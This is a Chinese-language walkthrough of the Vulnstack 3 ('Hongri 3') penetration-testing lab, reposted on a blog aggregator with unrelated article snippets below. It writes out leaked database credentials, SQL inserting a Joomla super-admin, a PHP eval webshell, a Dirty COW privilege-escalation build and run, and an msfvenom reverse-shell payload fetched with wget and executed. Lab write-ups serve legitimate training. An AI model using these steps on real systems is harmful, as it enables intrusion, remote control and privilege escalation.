红日靶场3

news2024/12/27 17:18:21

靶场链接:漏洞详情

在虚拟机的网络编辑器中添加两个仅主机网卡

信息搜集
端口扫描

外网机处于网端192.168.1.0/24中,扫描外网IP端口,开放了80 22 3306端口

80端口http服务,可以尝试登录网页

3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等

首先发现80端口网站是个joomla,探测了一下版本,发现是3.9.2版本较高

目录扫描

msf获取joomla cms版本信息

访问/administrator/index.php,发现不是弱密码,爆破也登录不了

在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露

/configuration.php

找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息

漏洞利用

利用敏感信息泄露,得到mysql的用户名密码:testuser/cvcvgjASD!@,可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录

拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的

想到可以自己插加密的密码去修改密码,找joomla的修改密码方法,直接加一条数据,根据joomla的官方文档成功的添加一个用户admin2/serect。

帮助文档

#更改用户名和密码:
"方法1:configuration.php文件"
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
public $root_user='myname';
在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
6.当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。

#编辑数据库加入超极管理
"方法1:直接编辑数据库"
如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
更改数据库中的密码
如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
    1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
    2.找到并单击“添加表_users”在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。
    3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
    4.查找要更改其密码的用户并按该行的编辑图标。
    5.将显示允许您编辑密码字段的窗体。复制的意义
    d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
    6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。
    7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
    
"方法2:添加新超级管理员使用"
如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
    导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
    按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
    删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
    使用下面的SQL查询添加另一个管理员帐户。
Stop hand nuvola.svg.png确保您的数据库表前缀匹配!
下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”(你的安装设置前缀)发现,在下面的代码前缀安装使用。

Joomla使用SQL代码  Joomla 2.5 Joomla 3.x Joomla 4.x
INSERT INTO `jos31_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
Stop hand nuvola.svg.pngWarning!
警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。

上面的例子更改密码为“select”。其他两个可能的值如下所示:
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

传php木马

点击Bee3 Details and Files

在index.php 文件中 写入一句话木马 <?php eval($_POST['123']); ?>,点击Save

根据扫描的内容,猜测路径是/templates/protostar/index.php

绕dis_func

蚁剑的虚拟终端执行不了命令

通过蚁剑在templates/beez3目录下写一个phpinfo文件

访问/templates/beez3/phpinfo.php

发现 命令执行被禁用

推荐蚁剑插件:

检测永恒之蓝:         https://github.com/AntSword-Store/AS_MS17-010_Scan
disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions
木马扫描:            https://github.com/AntSword-Store/as_trojan_scans
出网探测:            https://github.com/AntSword-Store/AS_Out-of-Network

成功绕过并且看见有93的段

在/tmp/mysql看到了账号密码

脏牛提权

 使用xftp上传exp,上传到临时文件夹/tmp下

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码

./dirty 123456

su firefart,输入密码123456

提权成功

上线msf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f elf>r.elf

wget http://192.168.1.102/r.elf

chmod +x r.elf

./r.elf

参考文章:

Vlunstack ATT&CK实战系列——红队实战(三)Writeup - 先知社区

红日安全红队靶场(三)一次简单的内网渗透_红日3靶场-CSDN博客

VulnStack-ATT&CK-3(红日靶场三)_红日靶场3-CSDN博客

https://www.cnblogs.com/hellobao/articles/17247184.html

红日靶场第三关_红日靶场3攻略-CSDN博客

红日靶场3-vulnstack3 | apsry

ATT&CK红队评估(红日靶场三) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1465686.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Megalinter 初体验

简介 MegaLinter 是一个多语言、多工具的集成代码检查工具&#xff0c;它能够通过一个统一的工作流来运行多个静态代码分析工具&#xff0c;从而提供全面的代码质量检查。 官网&#xff1a;https://megalinter.io/latest/ MegaLinter 的特点&#xff1a; 多语言支持&#x…

精品基于Spring Boot智能无人仓库管理-进销存储

《[含文档PPT源码等]精品基于Spring Boot智能无人仓库管理[包运行成功]》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; Java——涉及技术&#xff1a; 前端使用技术&#xff1a;HTML5…

统计图玫瑰图绘制方法

统计图玫瑰图绘制方法 常用的统计图有条形图、柱形图、折线图、曲线图、饼图、环形图、扇形图。 前几类图比较容易绘制&#xff0c;饼图环形图绘制较难。 还有一种玫瑰图的绘制也较难&#xff0c;今提供玫瑰图的绘制方法供参考。 本方法采用C语言的最基本功能&#xff1a; &am…

ESP8266智能家居(1)——开发环境的搭建

1.前期介绍 本次打算使用esp8266的开发板——NodeMCU&#xff0c;进行物联网相关项目的学习。开发环境使用Arduino软件。 NodeMCU实物图为&#xff1a; 开发环境截图为&#xff1a; 2.软件下载 我使用的arduino版本为1.8.5&#xff0c;其安装包如下&#xff1a; 【免费】ar…

【鸿蒙 HarmonyOS 4.0】路由router

一、介绍 页面路由指在应用程序中实现不同页面之间的跳转和数据传递。HarmonyOS提供了Router模块&#xff0c;通过不同的url地址&#xff0c;可以方便地进行页面路由&#xff0c;轻松地访问不同的页面。 二、页面跳转 2.1、两种跳转模式&#xff1a; router.pushUrl()&…

浅谈兼容性测试的概念及目的

兼容性测试是软件测试中的一项重要工作&#xff0c;旨在验证系统在不同环境、不同设备和不同浏览器下的正常运行和稳定性。 1. 兼容性测试的概念 兼容性测试是指在多样化的硬件、操作系统、浏览器、网络环境等条件下&#xff0c;验证软件或应用程序的稳定性和一致性。这种测试是…

电商+支付双系统项目------电商系统中收货模块的开发

本篇文章是讲关于项目的收货地址模块的设计。这个就比较简单了&#xff0c;我就不像之前的文章讲的那么详细了&#xff0c;就简单讲讲就好。 首先先设计 DAO 层&#xff1a; package com.imooc.mall.dao;import com.imooc.mall.pojo.Shipping; import org.apache.ibatis.annot…

Linux-基础知识(黑马学习笔记)

硬件和软件 我们所熟知的计算机是由&#xff1a;硬件和软件组成。 硬件&#xff1a;计算机系统中电子&#xff0c;机械和光电元件等组成的各种物理装置的总称。 软件&#xff1a;是用户和计算机硬件之间的接口和桥梁&#xff0c;用户通过软件与计算机进行交流。 而操作系统…

研发流程图

1、需求评审流程 2、用例评审流程 3、代码评审流程 4、产品功能上线流程

信号通信与消息队列实现的通信:2024/2/23

作业1&#xff1a;将信号和消息队列的课堂代码敲一遍 1.1 信号 1.1.1 信号默认、捕获、忽略处理(普通信号) 代码&#xff1a; #include <myhead.h> void handler(int signo) {if(signoSIGINT){printf("用户键入 ctrlc\n");} } int main(int argc, const ch…

WebDriver-自动化测试利器剖析

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

C++——STL之map和set

C——STL之map和set &#x1f3d0;序列式容器和关联式容器&#x1f3c0;什么是键值对 &#x1f3d0;什么是set&#x1f3c0;erase&#x1f3c0;count&#x1f3c0;lower_bound&&upper_bound&#x1f3c0;equal_range &#x1f3d0;multipleset&#x1f3d0;什么是map&a…

【办公类-16-10-01】“2023下学期 中4班 自主游戏观察记录(python 排班表系列)

背景需求 上学期的周安排里&#xff0c;每班每周的自主游戏会轮到多个不同的内容 因此在每周的自主游戏观察有2次记录&#xff0c;观察的项目可以写不一样的&#xff0c; 如一位老师写沙水游戏&#xff0c;另一位写表演游戏 本学期&#xff0c;中班的自主游戏全部是户外的&am…

[算法沉淀记录] 排序算法 —— 归并排序

排序算法 —— 归并排序 算法介绍 归并排序是一种分治算法&#xff0c;由约翰冯诺伊曼在1945年发明。它的工作原理是将未排序的列表划分为n个子列表&#xff0c;每个子列表包含一个元素(包含一个元素的列表被认为是有序的)&#xff0c;然后重复合并子列表以生成新的有序子列表…

​LeetCode解法汇总2583. 二叉树中的第 K 大层和

目录链接&#xff1a; 力扣编程题-解法汇总_分享记录-CSDN博客 GitHub同步刷题项目&#xff1a; https://github.com/September26/java-algorithms 原题链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 描述&#xff1a; 给你一棵二叉树的根节点 root 和一个正整…

Redis进阶篇

Redis线程模型 redis是基于内存运行的高性能k-v数据库&#xff0c;6.x之前是单线程, 对外提供的键值存储服务的主要流程 是单线程&#xff0c;也就是网络 IO 和数据读写是由单个线程来完成&#xff0c;6.x之后引入多线程而键值对读写命 令仍然是单线程处理的&#xff0c;所以 …

有趣且重要的JS知识合集(19)前端实现图片的本地上传/截取/导出

input[file]太丑了&#xff0c;又不想去改button样式&#xff0c;那就自己实现一个上传按钮的div&#xff0c;然后点击此按钮时&#xff0c;去触发file上传的事件, 以下就是 原生js实现图片前端上传 并且按照最佳宽高比例展示图片&#xff0c;然后可以自定义截取图片&#xff0…

Cesium入门基础一:cesium加载地球与环境搭建

一、cesium加载地球与环境搭建 1、搭建vue3项目 使用vite进行搭建。 npm init vitelatest根据操作提示选择&#xff1a;vue 3 Typescript 2、下载cesium库 终端输入&#xff1a; npm install cesium3、创建cesium地图容器 <template><div id"view_contai…

C 标准库 - <errno.h>

在C语言编程中&#xff0c;<errno.h> 头文件扮演着至关重要的角色&#xff0c;它提供了一个全局变量 errno 以及一系列预定义宏&#xff0c;用于指示系统调用或库函数执行过程中发生的错误。这些宏有助于程序员诊断和处理运行时错误。 errno 变量 extern int errno;err…

【文件搜索项目】使用jdbc操作SQLite

一. 插入&#xff08;采用变量的方式插入&#xff09; 1.创建数据源.DateSource 2.建立连接 3.构造SQL语句 4.执行SQL语句 5.释放资源 public class TestSQLite {public static void main(String[] args) throws SQLException {textInsert();}public static void textInsert(…